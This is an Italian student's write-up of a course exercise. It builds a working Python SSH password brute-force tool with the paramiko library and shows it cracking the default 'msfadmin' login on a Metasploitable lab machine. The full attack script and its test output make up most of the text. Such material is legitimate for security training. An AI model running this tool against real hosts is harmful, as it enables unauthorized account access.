

ESERCITAZIONE DI FINE

MODULO 2 - EPICODE

La seconda task dell'esercitazione chiedeva di realizzare uno strumento di bruteforce SSH in Python o C per testare la sicurezza di un servizio SSH su un host remoto. L'obiettivo è tentare l'autenticazione con diverse password da una lista fornita e trovare quella giusta.

L'ho realizzato scegliendo Python ed usando la libreria `paramiko` per gestire la connessione SSH.

Moduli Importati `import socket, paramiko, time`

Paramiko:

- Descrizione: Modulo Python per implementare client e server SSH2.
- Funzioni usate:
 - `paramiko.SSHClient()`: crea e ritorna un client SSH.
 - `ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())`: permette la connessione anche se la chiave host non è conosciuta (accetta automaticamente nuove chiavi host).
 - `ssh.connect()`: si connette al server SSH con hostname, porta, username e password.
 - `ssh.close()`: chiude la connessione.

Socket:

- Descrizione: Modulo Python per operazioni di basso livello su socket di rete TCP/IP.
- Exception usata:
 - `socket.gaierror`: usata per segnalare problemi legati alla risoluzione degli indirizzi IP.

Time:

- Descrizione: Modulo Python che fornisce funzioni per la gestione e manipolazione del tempo, come: funzioni di temporizzazione, formattazione delle date, e controllo del flusso in base al tempo.
 - Funzioni usate:
 - `time.sleep()`: interrompe l'esecuzione del programma per il tempo specificato in secondi
 - `time.time()`: ritorna l'Unix TimeStamp, i secondi passati dall'1/1/1970
-

Funzioni Principali

askTarget ()

Gestisce l'interfaccia con l'utente per inserire IP, porta e username del target. Consente di cambiare target, porta o username tramite un menu.

```
def askTarget():
    global same_host, host, port, username

    while True:
        if not same_host:
            host = input("IP target: ").strip() or DEFAULT_HOST
            port = input("Port (default = 22): ").strip() or DEFAULT_PORT
            port = int(port) if port else DEFAULT_PORT

        username = input("Username: ").strip() or DEFAULT_USERNAME
        same_host = True

        print(f"\nTARGET = {host}:{port}, USERNAME = {username}\n")

        while True:
            choice = input("[1] Proceed\n[2] Change Target\n[3] Change Username\n").strip()
            if choice == '1':
                return
            elif choice == '2':
                same_host = False
            elif choice == '3':
                same_host = True
            else:
                continue
            break
```

tryBruteForce ()

- Verifica che l'host sia raggiungibile e che la porta selezionata corrisponda a un servizio SSH.
- Tenta con un ciclo while di autenticarsi con ogni password della lista usando **paramiko**.
- Gestisce le eccezioni relative all'autenticazione, errori di risoluzione e altri errori imprevisti.
- Se la password viene trovata la ritorna, altrimenti ritorna **False**.

```
def tryBruteForce():
    global host, port, username

    for pwd in pwd_list:
        pwd = pwd.strip()
        try:
            ssh.connect(hostname=host, port=port, username=username, password=pwd, timeout=5)
            ssh.close()
            return pwd
        except paramiko.AuthenticationException:
            time.sleep(.5)
            continue
        except socket.gaierror as e:
            print(f"Socket error: {e}. Check host/IP resolution.")
            break
        except Exception as e:
            print(f"Unexpected error: {e}")
            break

    return False
```

Preparazione al Main

```
PASSWORDS_FILE = 'passwords.txt'
DEFAULT_HOST = '192.168.50.101'
DEFAULT_PORT = 22
DEFAULT_USERNAME = 'msfadmin'

same_host = False
host = ''
port = 0
username = ''
```



```
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

Flusso Operativo dello Script

1. L'utente specifica un host target, porta e username.
2. Crea una lista di password estraendola dal file `passwords.txt`.
3. Avvia il ciclo di bruteforce su ogni password della lista.
4. Tenta la connessione SSH con la password corrente.
5. Se la password è corretta, lo script termina e stampa la password trovata.
6. In caso contrario, continua fino ad esaurimento.
7. Gestisce gli errori di connessione o autenticazione durante il processo.
8. Permette all'utente di cambiare target o username o di uscire.

```
if __name__ == "__main__":
    print(f"Python SSH BruteForce using {PASSWORDS_FILE} as Passwords List")

    try:
        with open(PASSWORDS_FILE) as f:
            pwd_list = f.readlines()
    except FileNotFoundError:
        print(f"Error: The file '{PASSWORDS_FILE}' was not found.")
        exit(1)
    except IOError as e:
        print(f"Error reading the file '{PASSWORDS_FILE}': {e}")
        exit(1)

    while True:
        askTarget()

        print("SSH BRUTEFORCE STARTED...\n")

        start_time = time.time()
        result = tryBruteForce()
        execution_time = time.time() - start_time

        if result:
            print(f"Password found for {username}: '{result}'. In {int(execution_time)} seconds\n")
        else:
            print(f"Sorry, password not found for {username}\n")

    while True:
        choice = input("[1] Change Target\n[2] Change Username\n[3] Quit\n").strip()
        if choice == '1':
            same_host = False
        elif choice == '2':
            same_host = True
        elif choice == '3':
            exit(1)
        else:
            continue
        break
```

Esecuzioni di testing

```
(kali㉿kali)-[~/Desktop]
$ python bruteforce_ssh.py
Python SSH BruteForce using passwords.txt as Passwords List
IP target: 192.168.50.102
Port (default = 22): 30
Username: ciao

(TARGET = 192.168.50.102:30, USERNAME = ciao)

[1] Proceed
[2] Change Target
[3] Change Username
1
SSH BRUTEFORCE STARTED ...

Unexpected error: [Errno None] Unable to connect to port 30 on 192.168.50.102
Sorry, password not found for ciao

[1] Change Target
[2] Change Username
[3] Quit
```

Host non trovato, errore gestito e chiede come si vuole proseguire

```
[1] Change Target
[2] Change Username
[3] Quit
1
IP target:
Port (default = 22):
Username:

(TARGET = 192.168.50.101:22, USERNAME = msfadmin)

[1] Proceed
[2] Change Target
[3] Change Username
1
SSH BRUTEFORCE STARTED ...

Password found for msfadmin: 'msfadmin'. In 48 seconds

[1] Change Target
[2] Change Username
[3] Quit
```

Scelgo di cambiare target e lascio impostare quello che di default il mio codice ha salvato per metasploitable, trova la password e la manda poi chiede come proseguire.

Protocolli Coinvolti

SSH (Secure Shell)

- Protocollo di rete per accesso sicuro a un computer remoto, generalmente sulla porta TCP 22.
- Fornisce autenticazione, integrità dei dati e cifratura end-to-end.
- Nello script la libreria `paramiko` implementa la parte client SSH, inclusi i meccanismi di handshake, autenticazione e cifratura.

TCP (Transmission Control Protocol)

- Protocollo di trasporto fondamentale su cui si basa SSH.
 - Garantisce la consegna corretta e ordinata dei pacchetti.
-